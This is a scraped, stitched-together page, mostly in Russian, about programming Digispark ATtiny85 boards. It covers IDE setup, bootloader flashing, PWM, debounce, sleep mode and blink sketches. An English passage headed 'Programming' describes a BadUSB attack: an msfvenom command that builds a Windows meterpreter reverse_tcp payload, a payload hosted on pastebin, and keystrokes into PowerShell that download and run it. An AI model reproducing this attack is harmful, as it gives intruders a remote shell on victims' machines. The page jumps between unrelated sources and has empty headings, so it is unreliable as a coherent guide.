Шим регулятор на digispark с защитой от дребезга контактов

Содержание

Программирование

Для использования платы, все, что вам нужно, это кабель с MicroUSB разъемом. Сперва вы должны настроить Arduino IDE и установить соответствующие драйверы (Micronucleus). Все подробно описано на wiki-странице Подключение и программирование вашего Digispark.

Я скачал версию micronucleus-2.0a4-win, но код был написан и работал на 1.8.7 IDE (требуется версия 1.6.5+). В этой версии я импортировал поддержку Digispark через Boards Manager, как описано на упомянутой выше странице.

Я выбрал платформу «Digispark (по умолчанию — 16,5 МГц)». В общем, в меню Файл / Примеры / Digispark есть много интересных примеров. Я выбрал из них два, из которых в дальнейшей части статьи я построю простой монитор температуры.

Стоит также упомянуть о DigisparkExamplePrograms. В каталоге DigisparkExamplePrograms / Python / DigiUSB находятся такие программы, как digiscope.exe или monitor.exe, которые работают с Digispark (если не используются контакты, соответствующие USB-соединению).

Первая программа показывает графики, а вторая — последовательный терминал. Примеры использования доступны в среде IDE в разделе «Файл / Примеры / DigisparkUSB». Они используют файл DigiUSB.h.

Есть еще один способ связи через USB с использованием файла DigiCDC.h (File / Examples / DigisparkCDC), и этот способ имеет то преимущество, что достаточно обычного терминала с Arduino IDE.

Сам процесс программирования выглядит следующим образом:

  • После нажатия кнопки «Загрузить» на информационной панели, в нижней части среды IDE появиться следующее сообщение: «Запуск Digispark Uploader… Подключите устройство сейчас… (время ожидания истекает через 60 секунд)»
  • На этом этапе мы подключаем Digispark и загружаем код.
  • После загрузки загрузчик завершает работу и загруженная программа запускается.

Подготовка IDE и программатора

Arduino IDE наиболее доступное кроссплатформенное программное обеспечение для программирования AVR микроконтроллеров и вполне удобное для небольших проектов.

Значит нужно Arduino ядро для ATtiny85, его можно взять здесь arduino-tiny, версия для Arduino 1.5 подойдет. Доступны будут не все функции, но базовый набор, включая программный последовательный порт, для отладки, можно будет использовать. К сожалению в актуальной, на данный момент, Arduino IDE v1.6.6 что-то сломали, и c этим ядром необходимо использовать версию 1.6.5.

Осталось приготовить программатор. Для этого совсем не обязательно использовать специальное устройство, можно в ближайшую Arduino прошить скетч из File → Examples → ArduinoISP, затем соединить с сенсором, как указанно на принципиальной схеме, и не забыть про конденсатор 10μF, который необходимо установить между RST и GND выводами Arduino.

Программировать устройство нужно без установленных радиомодуля и перемычек. В меню Tools → Board нужно выбрать конфигурацию микроконтроллера, в данном случае: ATtiny85 @ 1 MHz (internal oscillator; BOD disabled), в меню Tools → Port выбрать USB порт программатора и в меню Tools → Programmer указать тип программатора, в данном случае: Arduino as ISP, затем воспользоваться кнопкой Upload.

Перепрограммируемый загрузчик ATtiny85 с использованием платы Arduino Uno

Для программирования ATtiny85 без использования платы Arduino мы сначала должны загрузить в него загрузчик используя плату Arduino Uno. Этот процесс выполняется один раз и в дальнейшем у нас не будет необходимости в использовании платы Arduino для программирования микроконтроллера ATtiny85. Загрузчик (bootloader) – это специальная программа, которая выполняется в микроконтроллере, который необходимо запрограммировать. Использование загрузчика – это один из самых удобных способов загрузки программы в микроконтроллер. Загрузчик находится в микроконтроллере и выполняет поступающие команды, а затем записывает новую программу в память микроконтроллера.

Перепрограммируемый загрузчик в микроконтроллере устраняет необходимость в использовании специальных внешних аппаратных средств (плат программирования, программаторов) для программирования микроконтроллера и позволяет загружать программу в микроконтроллер непосредственно с помощью USB соединения. Платы Digispark ATtiny85 (а выбор подобных плат сейчас достаточно большой) работают на загрузчике “micronucleus tiny85”, первоначально написанным Bluebie. Загрузчик – это программный код, который заранее загружен в плату Digispark и позволяет работать ей как USB устройство, которое можно программировать с помощью Arduino IDE. Мы будем использовать аналогичный подход и загружать загрузчик digispark attiny85 в наш микроконтроллер ATtiny85.

Для реализации этой задачи необходимо выполнить следующую последовательность шагов.

Шаг 1. Конфигурирование платы Arduino Uno в качестве ISP программатора.

Поскольку ATtiny85 является всего лишь микроконтроллером, для его программирования требуется ISP (In-System Programming — внутрисистемное программирование). Поэтому для программирования ATtiny85 нам необходимо сначала сконфигурировать плату Arduino Uno в качестве ISP программатора. Для этого подключите плату Arduino Uno к компьютеру и запустите Arduino IDE. После этого откройте пункт меню File > Example > ArduinoISP и загрузите в Arduino ISP код.

Шаг 2. Схема перепрограммируемого загрузчика ATtiny85.

Схема перепрограммируемого загрузчика ATtiny85 представлена на следующем рисунке.

Конденсатор 10 мкФ подключен между контактами Reset и GND платы Arduino. Все соединения схемы представлены в следующей таблице:

ATtiny85 Pin Arduino Uno Pin
Vcc 5V
GND GND
Pin 2 13
Pin 1 12
Pin 0 11
Reset 10

После сборки схемы подключите плату Arduino Uno и запустите Arduino IDE. Определите к какому COM порту подключена плата Arduino Uno (в диспетчере устройств Windows). В нашем случае это COM5.

После этого скопируйте отредактированный файл «Burn_AT85_bootloader.bat» и файл ATtiny85.hex» в корневой каталог Arduino IDE (C:\Program Files (x86)\Arduino).

После этого сделайте клик правой кнопкой мыши на файле «Burn_AT85_bootloader.bat» и выберите «Run as Admin» (запуск от администратора). Необходимо примерно 5-6 секунд чтобы загрузчик загрузился. Если все прошло успешно, то вы должны увидеть сообщение «AVRdude done. Thank you. Press any key to continue…».

После выполнения этой операции загрузчик будет успешно установлен в микроконтроллер ATtiny85. После этого микроконтроллер ATtiny85 можно будет программировать через USB с помощью нашего самодельного программатора, который описан далее в статье.

ШИМ возможности Digispark

   
Изначально я был уверен в фиксированной частоте 1024 Гц аппаратного ШИМ у Digispark. Однако, как оказалось
это было верно до определённой версии прошивки. В актуальной версии Digispark при помощи настройки
файлов эту частоту можно изменять. Однако при нештатных настройках немалая часть программ не будет
работать, так что не забывайте после корректировки значений возвращать их к изначальным значениям.
Чтобы найти файлы для настройки, включите вывод доп.информации в настройках IDE. Там при сборке скетча отобразится
путь, по которому находится исходник ядра. Что то вроде: */packages/digistump/hardware/avr/1.6.7/cores/tiny/
Там нас интересует два файла, первый core_build_options.h в нём параметр FAVOR_PHASE_CORRECT_PWM.
От него зависит частота ШИМ на выводе 1, она будет равна частоте вывода 0 (при 1), иначе — удвоенной частоте вывода 4.
Второй файл wiring.c, и параметр в нём MS_TIMER_TICK_EVERY_X_CYCLES. По умолчанию он равен 64 и является делителем рабочей
частоты кристалла. Математика простая 16 Мгц / 256 значений / 64 = 1024. Допустимы значения кратные 8, то есть 1, 8, 64, 256.
Частота при этом будет от 256 Гц (делитель = 256) до 65 кГц (делитель = 1) на выводе 4. А вот это уже интересно и позволяет управлять
моторами и дросселями за пределами слышимости человеком.

   
Самый простой вариант применения — мигалка. Выглядит следующим образом:

https://vk.com/video_ext.php

Скетч довольно примитивен, и я думаю комментариев не требует

Для большей красоты, диапазоны изменения скважности следует подстроить под участки линейной
зависимости светового потока диодов от напряжения

int way = 1,value = 0;
const int freq = (1000 >> 8);

void setup() {
    pinMode(0, OUTPUT);
    pinMode(1, OUTPUT);
}

void loop() {
    analogWrite(4,   7 + value);
    
    analogWrite(0, 255 - value);
    analogWrite(1,       value);
    delay(freq);

    value += way;

    if( value >= 248 ){
      value = 247;
      way = -1;
    }

    if( value == -1 ){
      value = 1;
      way = 1;
    }    
}

Следующий интересный момент с возможностями ШИМ генератора Digispark связан с фазами.
При равной частоте ШИМ выводов 0 и 1, между ними сдвиг порядка половины фазы, и это относительно бесполезно:

А вот при равной частоте ШИМ на выводах 1 и 4 они полностью синфазны (на осциллограмме один из сигналов
инвертирован), и вот это открывает очень интересные перспективы:

С использованием данной возможности, получится реализовать очень интересные вещи, но не буду забегать
вперёд :).

   
И да, само собой, никто не запрещает вместо диодов повесить нужное число драйверов и полевиков
требуемой мощности и управлять хоть стартером.

Note on sleep mode

The following sample explains how to enter sleep mode with the lowest power level. It puts the processor in quiescent mode and uses Pin 0 (PB0) to resume from sleep (other pins can be added: PB0=PCINT0, PB1=PCINT1, PB2=PCINT2, PB3=PCINT3, PB4=PCINT4, PB5=PCINT5). PCINT0_vect is a single ISR vector for Pin Change interrupts related to all pins; use macro if no ISR vector is needed; otherwise use .

#include <avr/sleep.h>
#include <avr/interrupt.h>

void sleep() {
#if defined (__AVR_ATtiny85__)
  cli();                                  // Disable interrupts to set the sleep configuration
  GIMSK |= _BV(PCIE);                     // Enable Pin Change Interrupts for all pins
  PCMSK |= _BV(PCINT0);                   // Unmask Pin Change Interrupt for pin PB0 (=PCINT0)
  ADCSRA &= ~_BV(ADEN);                   // ADC off (save power when sleeping)
  set_sleep_mode(SLEEP_MODE_PWR_DOWN);    // set sleep to the lowest power mode
  sleep_enable();                         // Sets the Sleep Enable bit in the MCUCR Register (SE BIT)
  sei();                                  // Enable interrupts before sleeping
  sleep_cpu();                            // sleep
  cli();                                  // Disable interrupts after resuming from sleep
  PCMSK &= ~_BV(PCINT0);                  // Mask Pin Change Interrupt for pin PB0 (=PCINT0)
  GIMSK &= ~_BV(PCIE);                    // Turn off Pin Change Interrupts for all pins
  sleep_disable();                        // Clear SE bit
  ADCSRA |= _BV(ADEN);                    // Restore ADC on
  sei();                                  // Enable interrupts again
#endif
}

#if defined (__AVR_ATtiny85__)

EMPTY_INTERRUPT(PCINT0_vect) // Null Pin Change Interrupt vector for all unmasked pins

/* Alternatively to EMPTY_INTERRUPT():
ISR(PCINT0_vect) {
// This is called when the interrupt occurs in case of Pin Change of all unmasked pins
}
*/

#endif

Consider setting the clock speed to 8 MHz internal clock () when waking up the device from sleep mode through an interrupt in order to speed-up the wake-up time (4 to 5 ms from Power Down sleep with 16,5 MHz; 6 clocks with 8 MHz).

Adding Digispark support to Arduino

If an URL is already available in «Additional Boards Manager URLs» line (e.g., for esp8266 boards), more URLs can be added, separating them by a comma.

Notice the last message of the Preferences form: “More preferences can be edited directly in the file”. If clicking the file name, the related installation directory is opened (the digistump root directory can be found under the packages subdirectory).

To configure the Arduino IDE for the Digispark board, select your target device

Select your programmer

Digispark comes with an old bootloader version (generally 1.06), anyway allowing upgrade (to be done via Micronucleus, as described below).

Защита от дребезга контактов

   
Само собой при первых же попытках собрать ШИМ регулятор я толкнулся с проблемой дребезга контактов.
Это эффект, когда человек нажимает кнопку один раз, а по факту происходят сотни, а то и тысячи размыканий
замыканий, и не все замыкания полные, то есть напряжение может изменятья до части того уровня, который
достигается при полном нажатии. Как итог, если не принять никаких мер, то вся логика управления рушится,
и чип пытается исполнить эти многочисленные нажатия.

   
Какие же способы решения существуют. Добавление конденсатора. По сути это фильтр, уменьшающий вероятность
проблемы и не решающий её полностью. Плюс это повышает нагрузку на вход чипа. Второй вариант — использование
прерываний, не буду детально расписывать, так как он также не подходит, не все «виртуальные» нажатия вызывают
генерацию прерывания, так что кнопка несмотря на нажатие, может остаться в некорректном состоянии. Более
правильный подход — использование специализированных микросхем для защиты от эффекта дребезга контактов.
Один из вариантов, триггер Шмидта. Но я данный вариант задействовать не стал, так как это рушит концепцию
использования максимально дешёвого Digispark.

   
В итоге я пришёл к полностью программному решению, которое показало себя безупречно. Логика его предельно простая.
Устанавливается определённый контрольный интервал, например 5 сотых секунды. При этом максимально часто идёт опрос состояния
кнопки и при этом считается количество времени, когда кнопка была нажата. По истечению интервала просто сравнивается,
если в течение данного интервала больше половины времени кнопка была нажата, значит она реально была нажата и наоборот.
Если состояние кнопки изменилось по сравнению с прошлым контрльным интервалом, вызывается обработчик, настраивающий
требуемым образом выходной ШИМ сигнал.

Энергопотребление

Пришло время измерить энергопотребление получившегося устройства. Вводные следующие: данные передается каждые 120sec, если пришло прерывание от датчика освещения, то немедленно; событиями от датчика освещения можно пренебречь; ёмкость батареи 200mAh.

Частота 1MHz 8MHz
Радиомодуль (потребление) 15.7mA 18.3mA
Микроконтроллер (потребление) 1.1mA 4.3mA
Режим сна (потребление) 7μA 7μA
Радиомодуль (активен за цикл) 51ms 16ms
Микроконтроллер (активен за цикл) 15ms 4ms
Оценка времени работы (дней) 513 739

Как видно, тут было ради чего бороться. К сожалению, стабильности на 8MHz добиться не удалось. Видимо без внешнего осциллятора, это не реально.

Introduction

The Digispark -based on the ATtiny85 microcontroller- has 4 built-in hardware PWM.
Currently, only 3 of them are usable in the arduino environment:

  • Pin0
  • Pin1
  • Pin4

If the user wants to keep USB capabilty (with <DigiUSB> library) in his/her sketch, only 2 hardware PWM pins are available since Pin4 is used for USB.
In this context, it’s impossible, for example, to create a sketch which controls a RGB strip LED through USB using -only- the available hardware PWM pins since 3 PWM pins are required (one per color).

There is a solution: .

Software PWM is a technic which emulates hardware PWM by software.

This means:

  • Additional code in program memory
  • A lower PWM frequency

Programming

Now, due to size limitations we can’t just toss a big nice meterpreter shell into the device. I went from a simple (but not very elegant)  approach and generated a reverse tcp meterpreter shell and tossed it on pastebin. The plan is to run a serie of powershell commands which will grab the payload from pastebin and then execute it. If you come up with a way on how to do this with the Digispark’s size limitations and keep it offline, please drop a comment. Also this example is for Microsoft Windows but the device should work on all operating systems.

Generate payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.129 LPORT=4444 -f psh-cmd –smallest

I removed everything up to powershell.exe and threw it on pastebin. Here’s my example.

So, to do this we want to hit meta+r to bring up Run and start powershell. Once that’s done we are going to invoke a few commands to download the payload and then execute it. On a side note this is the first time I’ve ever touched powershell 🙂

Powershell

Arduino Code

The code should be pretty self explanatory. Do notice that this is for a Swedish keyboard. I have also written an American version but do keep in mind that it is untested but feel free to try it and notice me if it doesn’t work.

Swedish Keyboard Code

Keep in mind that print does not end the line while println does.

American Keyboard Code

Untested code!

Digispark Differences and Using Arduino/Processing with the Digispark:

The Digispark supports all features found in the IDE with the exception of the serial monitor and the burn bootloader functionality.

Many existing libraries will not work with the Digispark:
For I2C devices check out the TinyWireM library, which makes it super simple to port an I2C based device library over to use with the Digispark.

Pin outs:

  • All pins can be used as Digital I/O
  • Pin 0 → I2C SDA, PWM (LED on Model B)
  • Pin 1 → PWM (LED on Model A)
  • Pin 2 → I2C SCK, Analog In
  • Pin 3 → Analog In (also used for USB+ when USB is in use)
  • Pin 4 → PWM, Analog (also used for USB- when USB is in use)
  • Pin 5 → Analog In

For a handy pin reference flip over the Digispark — pin capabilities are listed on the back

For some sample code for the basic i/o function see here: Digispark Basics

Ввод в эксплуатацию

В качестве демонстрации я написал практический пример в виде мониторинга температуры с помощью датчика DS18B20, работающего по протоколу 1-Wire.

Результат измерения отображается на небольшом OLED-дисплее (драйвер SSD1306), управляемом по I2C шине.

Код программы это, по сути, компиляция кода из двух примеров, касающихся перечисленных систем (DS18B20 и OLED-дисплея). Кроме того, код сделан максимально коротким, чтобы уместить его в память Attiny. Хотя это и так, но использование памяти достигло 100% (6012 байт). Из-за этого, как видите в коде, закомментированной является функция проверки контрольной суммы.

Здесь я столкнулся с двумя проблемами, как и в предыдущем проекте (с датчиком HC-SR04). Во-первых, быстро заканчивается FLASH-память, а во-вторых, это распределение контактов. 1-Wire не хотел работать на контакте P1, помогла замена на контакт на P3.

Software PWM

New Digispark IDE release (may 2013) introduces a new library: <TinySoftPwm>, a tiny Software PWM library.

To use software PWM in your sketch, use the TinySoftPwm_analogWrite() function (just add the TinySoftPwm_ prefix to the common analogWrite() function).

<TinySoftPwm> library features

  • Easy to use, only 3 functions:

    • TinySoftPwm_begin(), which shall be called in the setup() function
    • TinySoftPwm_analogWrite()
    • TinySoftPwm_process(), which shall be called periodically in the main loop or in timer interruption
  • Can configure all the 6 pins of the Digispark for software PWM
  • Compact: each additional declared PWM pin requires around 60 bytes
  • Don’t disturb other pins (eg: pins used for USB)
  • The PWM Manager (the TinySoftPwm_process() function) can be called periodically in the main loop or in a timer interruption
  • Possibility to tune the PWM frequency
  • Can cohabit with Hardware PWM

The <TinySoftPwm> library allows to use a Digispark to control through USB a RGB strip led. The PWM frequency is higher enough for human eye perception.

The PWM Manager of the <TinySoftPwm> library can be called from the ISR of the version of the <VirtualWire> delivered with the new Digispark IDE release (may 2013): nice to control remotely a RGB strip led through cheap RF links!

Recent Articles

  1. Learn how to use the TP4056 properly. There’s a right way, and a wrong way, to use it to safely charge Lithium Ion batteries.

  2. A tutorial on using the ADS1115 precision 16 bit ADC for low power use.

  3. Arduino Nano ISP: How to program an ATmega328P using an Arduino Nano as the ISP programmmer. One common problem: Programming a sketch into the chip without a reset control — solved here.

  4. I2C tutorial: Learn all about the 2 wire I2C serial protocol. Learn how easy it is to use, how it works and when to use it…

  5. How to test and use an Arduino Joystick including a new library to make it super easy.

  6. How to use the MCP4728, a versatile four channel DAC with built in voltage reference.

    The MCP4728 chip is a four channel 12 bit DAC, with memory that outputs voltage that you can use for calibration, anywhere you want a fixed voltage.

Using the Digispark with the Arduino IDE:

The Digispark works a bit differently than some Arduino compatible products. The Digispark programs with a different procedure.

From the Tools menu select Board→Digispark (Default — 16.5Mhz)

(The Tools→Programmer selection does not matter)

Write some code, open your code, or open a Digispark example.

You do not need to plug in your Digispark before invoking upload

Hit the upload button. The bottom status box will now ask you to plug in your Digispark — at this point you need to plug it in — or unplug and replug it.

You’ll see the upload progress and then it will immediately run your code on the Digispark.

If you unplug the Digispark and plug it back in or attach it to another power source there will be a delay of 5 seconds before the code you programmed will run. This 5 second delay is the Digispark Pro checking to see if you are trying to program it.

Как прошить плату Digispark на базе микроконтроллера ATtiny 85. Обзор платы.

Ниже представлены 4 самых часто встречаемых варианта плат, всех их объединяет наличие AVR
микроконтроллера ATtiny 85 с 8 битным процессором способным работать на частоте от 1 до 20 МГц.
Ее характеристики как и цена довольно скромные – всего 8 Кб памяти для хранения программ, 512 байт
оперативной памяти, 512 байт энергонезависимой памяти, 6 — цифровых входов/выходов, 4 — аналоговых входа,
3 — ШИМ выхода, 1 — I2C, 1 — SPI.

Зато у этой малышки имеется USB интерфейс, благодаря которому она может работать как джойстик,
клавиатура или мышь.

Благодаря наличию I2C и SPI к плате можно подключать различные датчики сервомоторы и даже LED дисплей.
Если вы решили сделать устройство где понадобится несколько кнопок, то всего лишь на один из аналоговых
входов можно смело вешать десяток кнопок с резистивной развязкой.

Так же на плате имеется стабилизатор напряжения для подключения от внешних источников питания (контакт
VIN) от 6 до 16 вольт (разработчики утверждают что стабилизатор выдерживает до 35 вольт). Плата отличается
особой экономностью, может потреблять всего 0,1 мкА.

Install Digispark Attiny85 Windows Drivers

Download the Digispark Attiny85 windows drivers here.(This is the 1.67 Feb 13 2016 release found here.)

Download Digistump.Drivers.zip unzip on your hard disc. Then double
click on DPinst (32 bit PC) or DPinst64 (64 bit PC) depending on your system (mine is 64bits).

You should now check that windows can see the Digispark — Just plug
in the
Digispark usb (micro usb connector) and you will hear the USB connection sound. If windows
complains saying «USB Device not recognised.» then you will need to fix
this before going further — the IDE has nothing to do with this part.

The problem is that you have to install drivers in order for windows
to correctly identify and communicate with the micronucleus device. If
you have problems have a look .

Как прошить Digispark ATtiny 85.

Зальем в плату тестовый скетч, с помощью которого плата будет мигать встроенным светодиодом.

Для этого понадобятся:

1. Приложение Arduino IDE

2. Ссылка для менеджера плат

3. Добавить платы Digispark в приложение Arduino IDE

4. Установить драйверы для Digispark ATtiny 85.

Ознакомиться с приложение Arduino IDE http://kolotushkin.com

Запустите приложение Arduino IDE, зайдите во вкладку Файл/Настройки и в Дополнительные ссылки для
Менеджера плат: добавьте эту ссылку

И нажмите «ОК»

Затем откройте вкладку Инструменты /Выбор платы /Менеджер плат

В открывшемся списке выбираем пункт “Digistump AVR Boards” и нажмите “Установить”.

Чтобы быстрее найти, впишите в окно поиска слово “Digistump” или просто “digi”.

Осталось скачать и установить драйверы.

Откройте архив Digistump.Drivers.zip и извлеките из него папку с драйверами Digistump Drivers. Это можно сделать простым перетаскиванием папки Digistump Drivers из архива в удобную для вас папку.

Затем подключите плату Digispark к компьютеру. Откройте Пуск/Панель управления/Диспетчер устройств. Найдите в списке устройство помеченное желтым треугольником (у вас может отобразиться как «Неизвестное устройство»), кликните на него правой кнопкой мышки и в открывшемся окне кликните обновить драйверы.

Затем выберите пункт «Выполнить поиск драйверов на этом компьютере»

Укажите путь к той папке, которую вы извлекли из архива. Нажмите кнопку далее. После обновления нажмите закрыть.

Если теперь устройство определено как Digispark Bootoalder без желтой отметки, значит все готово!

Теперь откройте скетч Blink, который находится во вкладке “Файл/Примеры/Basics/Blink”.

Так как скетч расcчитан для платы Arduino на которой светодиод подключен к 13 пину, то необходимо
заменить значение “13” на “1” потому как на плате Digispark светодиод подключен к 1 пину!

Затем в менеджере плат выберите плату Digispark (Default — 16,5mhz)

Нажимаете “Загрузить”. После чего произойдет компиляция и снизу появится сообщение (will timeout in 60
seconds), и вот только тогда в течении 60 секунд нужно подключить плату к USB порту для загрузки скетча!

Скетч загрузится, и на плате будет мигать светодиод.

Видео версия обзора платы Digispark ATTiny85. «Как прошить Digispark ATTiny85. Обзор платы Digispark ATTiny85»

Характеристики Digispark

  • Поддержка Arduino IDE 1.0 и более поздних (OS X, Windows и Linux)
  • Питание от USB или внешнего источника — 5 В или 7-35 V (автоматический выбор)
  • Регулятор на 5В 500мА
  • Встроенный USB
  • 6 портов ввода / вывода (2 используются для USB, только если ваша программа активно общается по USB, в противном случае вы можете использовать все 6, даже если вы программируете с помощью USB)
  • 8KB флэш-памяти (около 6КБ под программу, 2 КБ заняты загрузчиком)
  • ОЗУ (SRAM) — 512 байт
  • Энергонезависимая память (EEPROM) — 512 байт
  • I²C и SPI интерфейс
  • 4-х канальный 10-разрядный АЦП
  • Аналоговый компаратор
  • 2 8-битных таймера-счетчика
  • Сторожевой таймер
  • PWM на 3 вывода (больше ШИМ выходов можно обеспечить программным способом)
  • сделан на базе ATtiny85-20SU

Купить Digispark можно тут.

Обратите внимание! Digispark есть 2 модели А и В. Как они отличаются можно прочитать тут

Все выводы могут быть использованы в качестве цифровых входов/выходов:

Pin 0 → I2C SDA, PWM (LED on Model B)

Pin 1 → PWM (LED on Model A)

Pin 2 → I2C SCK, Analog

Pin 3 → Аналоговый вход (Занят контактом USB+, в случае использования USD)

Pin 4 → PWM (Занят контактом USB-, в случае использования USD)

Pin 5 → Аналоговый вход

Добавляем DigiSpark в список отладочных плат Arduino IDE.

Для начала нам нужно установить Arduino IDE, как это сделать, можно посмотреть тут.

Затем переходим в пункт меню «Файл -> Настройки»

В открывшемся окне настроек нам нужно добавить ссылку для менеджера плат. Если у вас уже есть добавленные ссылки для других плат, то у вас будет как у меня несколько строк. Если вы устанавливаете первую дополнительную плату у вас будет всего 1 строчка, которая приведена ниже.

http://digistump.com/package_digistump_index.json

Затем можно зайти в «Менеджер плат».

Ищем плату «digispark». И устанавливаем плату.

Установка драйверов для DigiSpark.

Для работы платы DigiSpark нужно установить драйвер, который вы можете скачать внизу статьи в разделе «».

Распакуйте скаченный архив и запустите файл «DPinst64.exe» для 64 битной ОС и «DPinst.exe» для 32 битной Windows.

Процесс установки не сложный и напоминает установку обычной программы.

В процессе потребуется подтверждение установки драйверов.

На этом установка драйверов для DigiSpark закончена.

Загрузка тестового скетча в DigiSpark.

Сейчас можно перейти к загрузке первого скетча в DigiSpark. Для этого открываем Arduino IDE. В разделе «Инструменты» выбираем плату «DigiSpark (Default — 16.5mhz)». Порт выбирать не нужно.

Загружать будем вот такой тестовый скетч, который позволяет мигать встроенным светодиодам. Так как у разных моделей DigiSpark (A, B) светодиод подключен к разным пинам, в скетче реализовано изменение положения с высокого уровня на низкий для пинов 0 и 1. Что позволят сделать данный код универсальным и применимым для обоих типов плат.

void setup()
{
  //Установите контакты 0 и 1 в качестве выходов
  pinMode(0, OUTPUT);
  pinMode(1, OUTPUT);
}
void loop()
{
  //Установите контакты светодиода на ВЫСОКОЕ ЗНАЧЕНИЕ. Это дает питание светодиоду и включает его
  digitalWrite(0, HIGH);
  digitalWrite(1, HIGH);
  //Ждем сек
  delay(1000);
  //Set the LED pins to LOW. This turns it off
  digitalWrite(0, LOW);
  digitalWrite(1, LOW);
  //Ждем сек
  delay(1000);
}

Важно! Загрузка проходит не как Arduino UNO. Подключать плату к ПК не нужно

Сперва нажимаем кнопку «Загрузить» и после того как мы увидим надпись

Plug in device now... (will timeout in 60 seconds)

Можно подключать DigiSpark к компьютеру. После чего вы должны увидеть проценты загрузки кода. Как видим, текст выводится оранжевым цветом. Это нормально.

После загрузки кода увидим, как мигает светодиод на плате.

У меня на DigiSpark реализовано несколько интересных проектов:

  • Ночник со стеклянными шарами на Arduino своими руками.
  • Cамодельный сенсорный светильник на Arduino (Digispark).
  • Светодиодный ночник в виде куба.
  • Ардуино светофор на digispark и ws2812b
  • Часы-будильник на Arduino. Корпус сделан из конструктора LEGO. LEGO Arduino
  • Очередной проект на Digispark и адресных светодиодах WS2812. Работа ЧПУ
  • Как сделать самодельный пистолет из Digispark и сломанной игрушки

Но на этом планирую не останавливаться в освоении отладочной платы DigiSpark ATtiny85.

А также подписаться на наш канал на YouTube, вступить в группу , в группу на .

Спасибо за внимание!

Технологии начинаются с простого!

Фотографии к статье

Файлы для скачивания

Скачивая материал, я соглашаюсь с
Правилами скачивания и использования материалов.

тестовый скетч DigiSpark.ino 1 Kb 8 Скачать

Digistump Drivers.zip 1671 Kb 21 Скачать

Как сделать очень маленькую Ардуино своими руками?

Саму плату Arduino версии UNO, например, можно использовать, как универсальный программатор. Вы можете легко запрограммировать с помощью arduino attiny2313 и другие МК семейства AVR и МК иных производителей. Сама серия Attiny, как вы можете увидеть из названия, – младшая линейка микроконтроллеров Atmel, имеющая урезанные по сравнению с ATmega чипы.

Стоит отметить! Многие микроконтроллеры младшей, tiny, серии имеют аналогичную цоколевку, как, например, Tiny13/25/45/85 совместимы.

На рисунке – пример прошивки платы ардуино с помощью другой платы ардуино, в случае выхода микроконтроллера первой из строя, когда в него нужно прошить загрузчик.

Arudino ISP – проект, который превратит вашу платформу в программатор. Для этого нужно в плату UNO загрузить скетч и использовать её для прошивки.

Сам термин ISP – расшифровывается, как «внутрисистемное программирование», то есть прошивка чипа уже в непосредственно собранной схеме – такая методика применяется не только в любительских конструкциях, но и для корректирования программного обеспечения готовых блоков промышленного производства и бытовой техники.

Прошивка, которая превратит вашу ардуину в ISP программатор, поставляется в наборе примеров Arduino IDE. Подключите вашу плату к компьютеру и выберите File-examples-Arduino ISP. После чего залейте скетч в Arduino.

На картинке указаны назначения пинов ардуино и их расположение на контроллерах в DIP корпусах, для прошивки соедините одноименные выводы на микроконтроллере и ардуине.

При желании можно повторить опыт предшественников и сделать такой шилд для UNO.

Вот печатная плата

Пояснения будут излишними – проявите фантазию и воплотите это на текстолите.

Чтобы прошить attiny с Arduino IDE нужно предварительно добавить библиотеки для их поддержки, в стандартном варианте поддерживаются только atmega. Добавляем в директорию «C:\Users\*имя пользователя*\Documents\Arduino\» папку hardware, в неё – папку tiny из архива, который можно найти здесь (ссылка на открытый ресурс https://code.google.com/archive/p/arduino-tiny/).

После этого в папке tiny находим файл Prospective Boards.txt и удаляем из его название первое слово «Prospective».

На картинке изображены настройки и список плат. Не забудьте выбрать программатор «Arduino ISP».

Программатор готов.

При прошивке attiny код будет легче, чем в UNO, некоторые функции урезаны, вам доступны:

  • pinMode()
  • digitalWrite()
  • digitalRead()
  • analogRead()
  • analogReference(INTERNAL) / (EXTERNAL)
  • shiftOut()
  • pulseIn()
  • analogWrite()
  • millis()
  • micros()
  • delay()
  • delayMicroseconds()

Что мы получаем?

Теперь вы получаете аналог digispark, но размеры его сократились до размеров одного чипа; припаивайте периферию, и ваше устройство готово! Вы можете сделать дешевую arduino attiny13 с объемом памяти в 1024 байта, для простейших мигалок и датчиков.

Такие миниатюрные устройства сэкономят место и деньги при сборке. Дело в том, что на цену дешевой Ардуино Нано можно купить несколько Аттини, к тому же вы можете простейшими командами запрограммировать их, не изучая Си.

Install the Digispark Board Support Package

Start the Arduino IDE application that you downloaded in the previous step.

Open Preferences Dialog box

From the top menu of the Arduino IDE application, select File → Preferences to open the Preferences dialog box.

Paste the following in the Additional Boards Manager URLs: box of the Preferences dialog box.

http://digistump.com/package_digistump_index.json

The image below shows the Additional Boards Manager URLs field of the Preferences dialog box.

Click the OK button to close the dialog box.

Open Boards Manager Dialog Box

In the Arduino IDE, use the top menu to navigate to Tools → Board → Boards Manager… to open the Boards Manager dialog box.

Type Digispark into the search field at the top of the Boards Manager dialog box that contains the text «Filter your search…» to easily find the Digispark package.

After filtering the packages, Digistump AVR Boards is displayed in the Boards Manager dialog box. Click the Install button at the bottom right of the Digistump item in the dialog box, as shown in the image below.

After clicking the Install button, the package will start installing. This may take a while, depending on the internet speed.

When installation completes, click the Close button at the bottom right of the dialog box.

Books that may interest you: